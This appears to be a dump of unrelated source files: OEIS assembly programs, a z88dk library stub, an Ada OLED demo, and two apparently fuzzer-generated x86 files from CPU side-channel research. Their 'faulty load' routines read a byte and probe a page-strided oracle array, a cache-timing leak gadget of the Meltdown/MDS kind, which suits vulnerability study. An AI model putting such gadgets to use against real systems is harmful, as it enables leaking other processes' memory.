MOV EDX,[EBP+12]
XOR AH,AH
SUB AL,DL
DAS
PUSHFD
POP EBX
AND BL,EFLAGS_SF+EFLAGS_ZF+EFLAGS_PF+EFLAGS_CF+EFLAGS_AF
MOV AH,BL
AND EAX,0FFFFH
MOV [EBP+8],EAX
POPAD
MOV EAX,[EBP+8]
POP EBP
RET
TEST_DAS ENDP
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
CODE ENDS
END
|
programs/oeis/143/A143536.asm | neoneye/loda | 22 | 94379 | ; A143536: Triangle read by rows, T(n,k) = 1 if n is prime, 0 otherwise.
; 0,1,1,1,1,1,0,0,0,0,1,1,1,1,1,0,0,0,0,0,0,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,1,1,1,1,1,1,1,1,1,1,0,0,0,0,0,0,0,0,0
lpb $0
add $1,1
sub $0,$1
lpe
seq $1,10051 ; Characteristic function of primes: 1 if n is prime, else 0.
mov $0,$1
|
libsrc/_DEVELOPMENT/stdio/c/sccz80/vasprintf_callee.asm | jpoikela/z88dk | 640 | 14965 |
; int vasprintf(char **ptr, const char *format, void *arg)
SECTION code_clib
SECTION code_stdio
PUBLIC vasprintf_callee
EXTERN asm_vasprintf
vasprintf_callee:
pop af
pop bc
pop de
exx
pop de
exx
push af
jp asm_vasprintf
|
Transynther/x86/_processed/NC/_zr_/i3-7100_9_0xca_notsx.log_21829_1236.asm | ljhsiun2/medusa | 9 | 89115 | <reponame>ljhsiun2/medusa
.global s_prepare_buffers
s_prepare_buffers:
push %r10
push %r12
push %r13
push %r8
push %rbp
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_A_ht+0x10fb8, %rdi
nop
nop
nop
nop
sub %r10, %r10
movb (%rdi), %r12b
nop
cmp %rbp, %rbp
lea addresses_normal_ht+0x1ab18, %r13
nop
nop
nop
and %r8, %r8
movw $0x6162, (%r13)
add $27629, %r10
lea addresses_D_ht+0xe038, %rsi
lea addresses_WT_ht+0xa7b8, %rdi
nop
nop
xor %rdx, %rdx
mov $20, %rcx
rep movsw
nop
nop
nop
nop
and $51885, %r8
lea addresses_WT_ht+0x26f8, %rsi
clflush (%rsi)
nop
nop
cmp %r8, %r8
mov $0x6162636465666768, %r10
movq %r10, %xmm3
vmovups %ymm3, (%rsi)
nop
nop
add $26176, %rdi
lea addresses_WT_ht+0x1b8e8, %rdi
nop
nop
and %rsi, %rsi
movb (%rdi), %r8b
nop
nop
nop
xor %rbp, %rbp
lea addresses_WC_ht+0x58b8, %rdi
nop
nop
nop
nop
cmp %r12, %r12
mov $0x6162636465666768, %r8
movq %r8, %xmm6
movups %xmm6, (%rdi)
nop
and %rsi, %rsi
lea addresses_UC_ht+0x17138, %r13
nop
nop
nop
cmp $56368, %rsi
mov (%r13), %rbp
nop
nop
nop
cmp %rbp, %rbp
lea addresses_WC_ht+0x14e74, %r8
clflush (%r8)
nop
nop
mfence
movw $0x6162, (%r8)
nop
inc %rcx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbp
pop %r8
pop %r13
pop %r12
pop %r10
ret
.global s_faulty_load
s_faulty_load:
push %r14
push %r8
push %r9
push %rdi
push %rdx
// Faulty Load
mov $0x6e53f300000008b8, %r9
sub $54180, %r14
mov (%r9), %edx
lea oracles, %rdi
and $0xff, %rdx
shlq $12, %rdx
mov (%rdi,%rdx,1), %rdx
pop %rdx
pop %rdi
pop %r9
pop %r8
pop %r14
ret
/*
<gen_faulty_load>
[REF]
{'src': {'same': False, 'congruent': 0, 'NT': True, 'type': 'addresses_NC', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'same': True, 'congruent': 0, 'NT': False, 'type': 'addresses_NC', 'size': 4, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'same': False, 'congruent': 8, 'NT': False, 'type': 'addresses_A_ht', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 1, 'NT': False, 'type': 'addresses_normal_ht', 'size': 2, 'AVXalign': False}}
{'src': {'type': 'addresses_D_ht', 'congruent': 5, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WT_ht', 'congruent': 8, 'same': False}}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 6, 'NT': False, 'type': 'addresses_WT_ht', 'size': 32, 'AVXalign': False}}
{'src': {'same': False, 'congruent': 3, 'NT': False, 'type': 'addresses_WT_ht', 'size': 1, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 11, 'NT': False, 'type': 'addresses_WC_ht', 'size': 16, 'AVXalign': False}}
{'src': {'same': False, 'congruent': 5, 'NT': False, 'type': 'addresses_UC_ht', 'size': 8, 'AVXalign': False}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'same': False, 'congruent': 0, 'NT': False, 'type': 'addresses_WC_ht', 'size': 2, 'AVXalign': False}}
{'00': 21829}
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
*/
|
programs/oeis/040/A040875.asm | neoneye/loda | 22 | 90583 | ; A040875: Continued fraction for sqrt(906).
; 30,10,60,10,60,10,60,10,60,10,60,10,60,10,60,10,60,10,60,10,60,10,60,10,60,10,60,10,60,10,60,10,60,10,60,10,60,10,60,10,60,10,60,10,60,10,60,10,60,10,60,10,60,10,60,10,60,10,60,10,60,10,60
sub $0,1
mod $0,2
mul $0,10
add $0,2
pow $0,2
div $0,26
mul $0,10
add $0,10
|
example_pico/src/demos.adb | hgrodriguez/sh1107 | 1 | 8594 | --===========================================================================
--
-- This package is the implementation of the demo package showing examples
-- for the SH1107 OLED controller
--
--===========================================================================
--
-- Copyright 2022 (C) <NAME>
--
-- SPDX-License-Identifier: BSD-3-Clause
--
with HAL;
with HAL.Bitmap;
with HAL.Framebuffer;
with RP.Timer;
package body Demos is
procedure Black_Background_White_Arrow (S : in out SH1107.SH1107_Screen);
procedure White_Background_With_Black_Rectangle_Full_Screen
(S : in out SH1107.SH1107_Screen);
procedure Black_Background_With_White_Rectangle_Full_Screen
(S : in out SH1107.SH1107_Screen);
procedure White_Background_4_Black_Corners
(S : in out SH1107.SH1107_Screen);
procedure Black_Background_4_White_Corners
(S : in out SH1107.SH1107_Screen);
procedure Black_Background_White_Geometry (S : in out SH1107.SH1107_Screen);
procedure White_Background_Black_Geometry (S : in out SH1107.SH1107_Screen);
procedure White_Diagonal_Line_On_Black (S : in out SH1107.SH1107_Screen);
procedure Black_Diagonal_Line_On_White (S : in out SH1107.SH1107_Screen);
type Demo_Procedure is
not null access procedure (S : in out SH1107.SH1107_Screen);
Demos_Procedures : constant array (Demos_Available) of Demo_Procedure
:= (Demos.Black_Background_White_Arrow =>
(Black_Background_White_Arrow'Access),
Demos.White_Background_With_Black_Rectangle_Full_Screen =>
(
White_Background_With_Black_Rectangle_Full_Screen'Access),
Demos.Black_Background_With_White_Rectangle_Full_Screen =>
(
Black_Background_With_White_Rectangle_Full_Screen'Access),
Demos.White_Background_4_Black_Corners =>
(White_Background_4_Black_Corners'Access),
Demos.Black_Background_4_White_Corners =>
(Black_Background_4_White_Corners'Access),
Demos.Black_Background_White_Geometry =>
(Black_Background_White_Geometry'Access),
Demos.White_Background_Black_Geometry =>
(White_Background_Black_Geometry'Access),
Demos.White_Diagonal_Line_On_Black =>
(White_Diagonal_Line_On_Black'Access),
Demos.Black_Diagonal_Line_On_White =>
(Black_Diagonal_Line_On_White'Access)
);
Another_Timer : RP.Timer.Delays;
THE_LAYER : constant Positive := 1;
Corner_0_0 : constant HAL.Bitmap.Point := (0, 0);
Corner_1_1 : constant HAL.Bitmap.Point := (1, 1);
Corner_0_127 : constant HAL.Bitmap.Point := (0, SH1107.THE_HEIGHT - 1);
Corner_127_0 : constant HAL.Bitmap.Point := (SH1107.THE_WIDTH - 1, 0);
Corner_127_127 : constant HAL.Bitmap.Point := (SH1107.THE_WIDTH - 1,
SH1107.THE_HEIGHT - 1);
My_Area : constant HAL.Bitmap.Rect
:= (Position => Corner_0_0,
Width => SH1107.THE_WIDTH - 1,
Height => SH1107.THE_HEIGHT - 1);
My_Circle_Center : constant HAL.Bitmap.Point := (X => 64, Y => 38);
My_Circle_Radius : constant Natural := 10;
My_Rectangle : constant HAL.Bitmap.Rect
:= (Position => (X => 38, Y => 78),
Width => 20,
Height => 10);
procedure Black_Background_White_Arrow
(S : in out SH1107.SH1107_Screen) is
Corners : constant HAL.Bitmap.Point_Array (1 .. 7)
:= (
1 => (40, 118),
2 => (86, 118),
3 => (86, 60),
4 => (96, 60),
5 => (63, 10),
6 => (30, 60),
7 => (40, 60));
Start : HAL.Bitmap.Point;
Stop : HAL.Bitmap.Point;
My_Hidden_Buffer : HAL.Bitmap.Any_Bitmap_Buffer;
begin
My_Hidden_Buffer := SH1107.Hidden_Buffer (This => S,
Layer => THE_LAYER);
My_Hidden_Buffer.Set_Source (Native => 0);
My_Hidden_Buffer.Fill;
SH1107.Update_Layer (This => S,
Layer => THE_LAYER);
My_Hidden_Buffer.Set_Source (Native => 1);
for N in Corners'First .. Corners'Last loop
Start := Corners (N);
if N = Corners'Last then
Stop := Corners (1);
else
Stop := Corners (N + 1);
end if;
My_Hidden_Buffer.Draw_Line (Start, Stop);
end loop;
SH1107.Update_Layer (This => S,
Layer => THE_LAYER);
RP.Timer.Delay_Seconds (This => Another_Timer,
S => 1);
end Black_Background_White_Arrow;
procedure White_Background_With_Black_Rectangle_Full_Screen
(S : in out SH1107.SH1107_Screen) is
My_Hidden_Buffer : HAL.Bitmap.Any_Bitmap_Buffer;
begin
My_Hidden_Buffer := SH1107.Hidden_Buffer (This => S,
Layer => THE_LAYER);
My_Hidden_Buffer.Set_Source (Native => 1);
My_Hidden_Buffer.Fill;
SH1107.Update_Layer (This => S,
Layer => THE_LAYER);
RP.Timer.Delay_Seconds (This => Another_Timer,
S => 1);
My_Hidden_Buffer.Set_Source (Native => 0);
My_Hidden_Buffer.Draw_Rect (Area => My_Area);
SH1107.Update_Layer (This => S,
Layer => THE_LAYER);
RP.Timer.Delay_Seconds (This => Another_Timer,
S => 1);
end White_Background_With_Black_Rectangle_Full_Screen;
procedure Black_Background_With_White_Rectangle_Full_Screen
(S : in out SH1107.SH1107_Screen) is
My_Hidden_Buffer : HAL.Bitmap.Any_Bitmap_Buffer;
begin
My_Hidden_Buffer := SH1107.Hidden_Buffer (This => S,
Layer => THE_LAYER);
My_Hidden_Buffer.Set_Source (Native => 0);
My_Hidden_Buffer.Fill;
SH1107.Update_Layer (This => S,
Layer => THE_LAYER);
RP.Timer.Delay_Seconds (This => Another_Timer,
S => 1);
My_Hidden_Buffer.Set_Source (Native => 1);
My_Hidden_Buffer.Draw_Rect (Area => My_Area);
SH1107.Update_Layer (This => S,
Layer => THE_LAYER);
RP.Timer.Delay_Seconds (This => Another_Timer,
S => 1);
end Black_Background_With_White_Rectangle_Full_Screen;
procedure White_Background_4_Black_Corners
(S : in out SH1107.SH1107_Screen) is
My_Hidden_Buffer : HAL.Bitmap.Any_Bitmap_Buffer;
begin
My_Hidden_Buffer := SH1107.Hidden_Buffer (This => S,
Layer => THE_LAYER);
My_Hidden_Buffer.Set_Source (Native => 1);
My_Hidden_Buffer.Fill;
SH1107.Update_Layer (This => S,
Layer => THE_LAYER);
RP.Timer.Delay_Seconds (This => Another_Timer,
S => 1);
My_Hidden_Buffer.Set_Pixel (Pt => Corner_0_0,
Native => 0);
My_Hidden_Buffer.Set_Pixel (Pt => Corner_1_1,
Native => 0);
My_Hidden_Buffer.Set_Pixel (Pt => Corner_0_127,
Native => 0);
My_Hidden_Buffer.Set_Pixel (Pt => Corner_127_0,
Native => 0);
My_Hidden_Buffer.Set_Pixel (Pt => Corner_127_127,
Native => 0);
SH1107.Update_Layer (This => S,
Layer => THE_LAYER);
RP.Timer.Delay_Seconds (This => Another_Timer,
S => 1);
My_Hidden_Buffer.Set_Source (Native => 0);
My_Hidden_Buffer.Fill;
SH1107.Update_Layer (This => S,
Layer => THE_LAYER);
RP.Timer.Delay_Seconds (This => Another_Timer,
S => 1);
end White_Background_4_Black_Corners;
procedure Black_Background_4_White_Corners
(S : in out SH1107.SH1107_Screen) is
My_Hidden_Buffer : HAL.Bitmap.Any_Bitmap_Buffer;
begin
My_Hidden_Buffer := SH1107.Hidden_Buffer (This => S,
Layer => THE_LAYER);
My_Hidden_Buffer.Set_Source (Native => 0);
My_Hidden_Buffer.Fill;
SH1107.Update_Layer (This => S,
Layer => THE_LAYER);
RP.Timer.Delay_Seconds (This => Another_Timer,
S => 1);
My_Hidden_Buffer.Set_Pixel (Pt => Corner_0_0,
Native => 1);
My_Hidden_Buffer.Set_Pixel (Pt => Corner_0_127,
Native => 1);
My_Hidden_Buffer.Set_Pixel (Pt => Corner_127_0,
Native => 1);
My_Hidden_Buffer.Set_Pixel (Pt => Corner_127_127,
Native => 1);
SH1107.Update_Layer (This => S,
Layer => THE_LAYER);
RP.Timer.Delay_Seconds (This => Another_Timer,
S => 1);
My_Hidden_Buffer.Set_Source (Native => 1);
My_Hidden_Buffer.Fill;
SH1107.Update_Layer (This => S,
Layer => THE_LAYER);
RP.Timer.Delay_Seconds (This => Another_Timer,
S => 1);
end Black_Background_4_White_Corners;
procedure Black_Background_White_Geometry
(S : in out SH1107.SH1107_Screen) is
My_Hidden_Buffer : HAL.Bitmap.Any_Bitmap_Buffer;
begin
My_Hidden_Buffer := SH1107.Hidden_Buffer (This => S,
Layer => THE_LAYER);
My_Hidden_Buffer.Set_Source (Native => 0);
My_Hidden_Buffer.Fill;
SH1107.Update_Layer (This => S,
Layer => THE_LAYER);
RP.Timer.Delay_Seconds (This => Another_Timer,
S => 1);
My_Hidden_Buffer.Set_Source (Native => 1);
My_Hidden_Buffer.Draw_Circle (Center => My_Circle_Center,
Radius => My_Circle_Radius);
My_Hidden_Buffer.Draw_Rounded_Rect (Area => My_Rectangle,
Radius => 4);
SH1107.Update_Layer (This => S,
Layer => THE_LAYER);
RP.Timer.Delay_Seconds (This => Another_Timer,
S => 1);
My_Hidden_Buffer.Set_Source (Native => 0);
My_Hidden_Buffer.Fill;
SH1107.Update_Layer (This => S,
Layer => THE_LAYER);
RP.Timer.Delay_Seconds (This => Another_Timer,
S => 1);
end Black_Background_White_Geometry;
procedure White_Background_Black_Geometry
(S : in out SH1107.SH1107_Screen) is
My_Hidden_Buffer : HAL.Bitmap.Any_Bitmap_Buffer;
begin
My_Hidden_Buffer := SH1107.Hidden_Buffer (This => S,
Layer => THE_LAYER);
My_Hidden_Buffer.Set_Source (Native => 1);
My_Hidden_Buffer.Fill;
SH1107.Update_Layer (This => S,
Layer => THE_LAYER);
RP.Timer.Delay_Seconds (This => Another_Timer,
S => 1);
My_Hidden_Buffer.Set_Source (Native => 0);
My_Hidden_Buffer.Draw_Circle (Center => My_Circle_Center,
Radius => My_Circle_Radius);
My_Hidden_Buffer.Draw_Rounded_Rect (Area => My_Rectangle,
Radius => 4);
SH1107.Update_Layer (This => S,
Layer => THE_LAYER);
RP.Timer.Delay_Seconds (This => Another_Timer,
S => 1);
My_Hidden_Buffer.Set_Source (Native => 1);
My_Hidden_Buffer.Fill;
SH1107.Update_Layer (This => S,
Layer => THE_LAYER);
RP.Timer.Delay_Seconds (This => Another_Timer,
S => 1);
end White_Background_Black_Geometry;
procedure White_Diagonal_Line_On_Black
(S : in out SH1107.SH1107_Screen) is
My_Hidden_Buffer : HAL.Bitmap.Any_Bitmap_Buffer;
begin
My_Hidden_Buffer := SH1107.Hidden_Buffer (This => S,
Layer => THE_LAYER);
My_Hidden_Buffer.Set_Source (Native => 0);
My_Hidden_Buffer.Fill;
SH1107.Update_Layer (This => S,
Layer => THE_LAYER);
RP.Timer.Delay_Seconds (This => Another_Timer,
S => 1);
My_Hidden_Buffer.Set_Source (Native => 1);
My_Hidden_Buffer.Draw_Line (Start => Corner_0_0,
Stop => Corner_127_127);
SH1107.Update_Layer (This => S,
Layer => THE_LAYER);
RP.Timer.Delay_Seconds (This => Another_Timer,
S => 1);
end White_Diagonal_Line_On_Black;
procedure Black_Diagonal_Line_On_White
(S : in out SH1107.SH1107_Screen) is
My_Hidden_Buffer : HAL.Bitmap.Any_Bitmap_Buffer;
begin
My_Hidden_Buffer := SH1107.Hidden_Buffer (This => S,
Layer => THE_LAYER);
My_Hidden_Buffer.Set_Source (Native => 1);
My_Hidden_Buffer.Fill;
SH1107.Update_Layer (This => S,
Layer => THE_LAYER);
RP.Timer.Delay_Seconds (This => Another_Timer,
S => 1);
My_Hidden_Buffer.Set_Source (Native => 0);
My_Hidden_Buffer.Draw_Line (Start => Corner_0_0,
Stop => Corner_127_127);
SH1107.Update_Layer (This => S,
Layer => THE_LAYER);
RP.Timer.Delay_Seconds (This => Another_Timer,
S => 1);
end Black_Diagonal_Line_On_White;
procedure Show_Multiple_Demos (S : in out SH1107.SH1107_Screen;
O : SH1107.SH1107_Orientation;
DA : Demo_Array) is
begin
for D in Demos_Available'First .. Demos_Available'Last loop
if DA (D) then
Show_1_Demo (S, O, D);
end if;
end loop;
end Show_Multiple_Demos;
procedure Show_1_Demo (S : in out SH1107.SH1107_Screen;
O : SH1107.SH1107_Orientation;
Demo : Demos_Available) is
My_Color_Mode : HAL.Framebuffer.FB_Color_Mode;
begin
My_Color_Mode := SH1107.Color_Mode (This => S);
SH1107.Initialize_Layer (This => S,
Layer => THE_LAYER,
Mode => My_Color_Mode);
S.Set_Orientation (O);
Demos_Procedures (Demo).all (S);
end Show_1_Demo;
end Demos;
|
source/direccion.ads | pdibez/mundo-aspiradora | 0 | 11396 | <gh_stars>0
package direccion is
type t_direccion is (Izquierda,Derecha);
subtype t_posicion is t_direccion range Izquierda .. Derecha ;
function direccion_opuesta(d : in t_direccion) return t_direccion;
end direccion;
|
Transynther/x86/_processed/NONE/_un_/i9-9900K_12_0xa0_notsx.log_1_1997.asm | ljhsiun2/medusa | 9 | 244493 | <gh_stars>1-10
.global s_prepare_buffers
s_prepare_buffers:
push %r13
push %r15
push %r8
push %rax
push %rbp
push %rcx
push %rdi
push %rsi
lea addresses_A_ht+0x1bb67, %rsi
lea addresses_normal_ht+0x1ed67, %rdi
nop
nop
nop
nop
dec %rax
mov $84, %rcx
rep movsw
nop
cmp $50366, %r13
lea addresses_WT_ht+0xf4e7, %r15
nop
nop
dec %rsi
movb $0x61, (%r15)
nop
nop
nop
inc %rax
lea addresses_WC_ht+0x227, %rsi
lea addresses_normal_ht+0x3427, %rdi
clflush (%rdi)
nop
nop
nop
nop
sub $20989, %r8
mov $107, %rcx
rep movsq
nop
add $8712, %rdi
lea addresses_WT_ht+0x11e67, %rsi
lea addresses_UC_ht+0xf067, %rdi
nop
xor %rbp, %rbp
mov $120, %rcx
rep movsb
nop
nop
nop
cmp %r13, %r13
lea addresses_A_ht+0xb29d, %r15
nop
nop
nop
xor $14533, %rax
and $0xffffffffffffffc0, %r15
vmovaps (%r15), %ymm4
vextracti128 $1, %ymm4, %xmm4
vpextrq $1, %xmm4, %r8
nop
nop
nop
sub $41086, %r13
lea addresses_WT_ht+0x9237, %rsi
nop
cmp %rax, %rax
mov (%rsi), %r8w
sub $55680, %rax
pop %rsi
pop %rdi
pop %rcx
pop %rbp
pop %rax
pop %r8
pop %r15
pop %r13
ret
.global s_faulty_load
s_faulty_load:
push %r12
push %r13
push %r8
push %r9
push %rcx
push %rdi
push %rdx
push %rsi
// Store
lea addresses_RW+0xa287, %rdi
clflush (%rdi)
nop
nop
nop
xor $19796, %rcx
movb $0x51, (%rdi)
nop
nop
nop
add $47762, %rsi
// Load
lea addresses_WC+0x8961, %rcx
clflush (%rcx)
nop
xor %rdx, %rdx
mov (%rcx), %rdi
sub $43194, %r8
// Store
lea addresses_US+0x8eef, %r8
nop
nop
nop
nop
nop
cmp $60423, %rsi
movw $0x5152, (%r8)
nop
nop
nop
nop
xor %rsi, %rsi
// REPMOV
lea addresses_A+0x1ce7, %rsi
lea addresses_WC+0xc667, %rdi
nop
nop
nop
nop
sub $17824, %r13
mov $48, %rcx
rep movsl
nop
nop
and $33070, %rdi
// Store
lea addresses_normal+0x1f667, %rdx
clflush (%rdx)
nop
nop
nop
nop
nop
add %rdi, %rdi
movb $0x51, (%rdx)
nop
nop
nop
nop
cmp %r13, %r13
// Store
lea addresses_normal+0x1e267, %rdi
nop
nop
nop
sub %r8, %r8
mov $0x5152535455565758, %rcx
movq %rcx, (%rdi)
dec %r9
// REPMOV
lea addresses_D+0xbe67, %rsi
lea addresses_PSE+0x9a7, %rdi
mfence
mov $97, %rcx
rep movsb
nop
nop
nop
nop
nop
xor %rdx, %rdx
// Store
lea addresses_A+0x1c450, %rsi
nop
nop
nop
nop
nop
and $14344, %rcx
movl $0x51525354, (%rsi)
nop
nop
nop
nop
nop
sub %r13, %r13
// Store
mov $0x21f, %rdx
nop
nop
nop
nop
nop
dec %rdi
movl $0x51525354, (%rdx)
nop
and %rdi, %rdi
// Store
lea addresses_WT+0x16a67, %rdx
nop
sub $12665, %r13
movw $0x5152, (%rdx)
and $10567, %rdx
// Store
lea addresses_normal+0x16e67, %rsi
nop
nop
nop
nop
and $19310, %rdx
mov $0x5152535455565758, %rdi
movq %rdi, (%rsi)
nop
nop
nop
nop
nop
cmp $65297, %r8
// REPMOV
lea addresses_WT+0x15267, %rsi
lea addresses_PSE+0x14a1, %rdi
nop
nop
nop
nop
sub %r8, %r8
mov $33, %rcx
rep movsl
nop
and %rcx, %rcx
// Load
lea addresses_WT+0x11be7, %rdx
nop
nop
and $39994, %r8
mov (%rdx), %rcx
// Exception!!!
xor %rsi, %rsi
div %rsi
nop
xor %rdi, %rdi
// REPMOV
lea addresses_normal+0x16e67, %rsi
lea addresses_US+0x8c1f, %rdi
nop
nop
nop
nop
nop
cmp %r12, %r12
mov $59, %rcx
rep movsw
nop
and $24433, %r13
// Faulty Load
lea addresses_normal+0x16e67, %r9
nop
nop
nop
dec %rcx
mov (%r9), %si
lea oracles, %rcx
and $0xff, %rsi
shlq $12, %rsi
mov (%rcx,%rsi,1), %rsi
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %r9
pop %r8
pop %r13
pop %r12
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_normal', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 0}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_RW', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 4}}
{'src': {'type': 'addresses_WC', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 1}, 'OP': 'LOAD'}
{'OP': 'STOR', 'dst': {'type': 'addresses_US', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 3}}
{'src': {'type': 'addresses_A', 'congruent': 7, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_WC', 'congruent': 11, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 11}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'AVXalign': False, 'size': 8, 'NT': True, 'same': False, 'congruent': 10}}
{'src': {'type': 'addresses_D', 'congruent': 11, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_PSE', 'congruent': 6, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_A', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 0}}
{'OP': 'STOR', 'dst': {'type': 'addresses_P', 'AVXalign': False, 'size': 4, 'NT': False, 'same': False, 'congruent': 2}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 9}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal', 'AVXalign': False, 'size': 8, 'NT': False, 'same': True, 'congruent': 0}}
{'src': {'type': 'addresses_WT', 'congruent': 9, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_PSE', 'congruent': 0, 'same': False}}
{'src': {'type': 'addresses_WT', 'AVXalign': False, 'size': 8, 'NT': False, 'same': False, 'congruent': 4}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_normal', 'congruent': 0, 'same': True}, 'OP': 'REPM', 'dst': {'type': 'addresses_US', 'congruent': 2, 'same': False}}
[Faulty Load]
{'src': {'type': 'addresses_normal', 'AVXalign': False, 'size': 2, 'NT': False, 'same': True, 'congruent': 0}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'src': {'type': 'addresses_A_ht', 'congruent': 7, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 8, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 1, 'NT': False, 'same': False, 'congruent': 5}}
{'src': {'type': 'addresses_WC_ht', 'congruent': 4, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_normal_ht', 'congruent': 3, 'same': False}}
{'src': {'type': 'addresses_WT_ht', 'congruent': 10, 'same': False}, 'OP': 'REPM', 'dst': {'type': 'addresses_UC_ht', 'congruent': 7, 'same': False}}
{'src': {'type': 'addresses_A_ht', 'AVXalign': True, 'size': 32, 'NT': False, 'same': False, 'congruent': 1}, 'OP': 'LOAD'}
{'src': {'type': 'addresses_WT_ht', 'AVXalign': False, 'size': 2, 'NT': False, 'same': False, 'congruent': 2}, 'OP': 'LOAD'}
{'b8': 1}
b8
*/
|
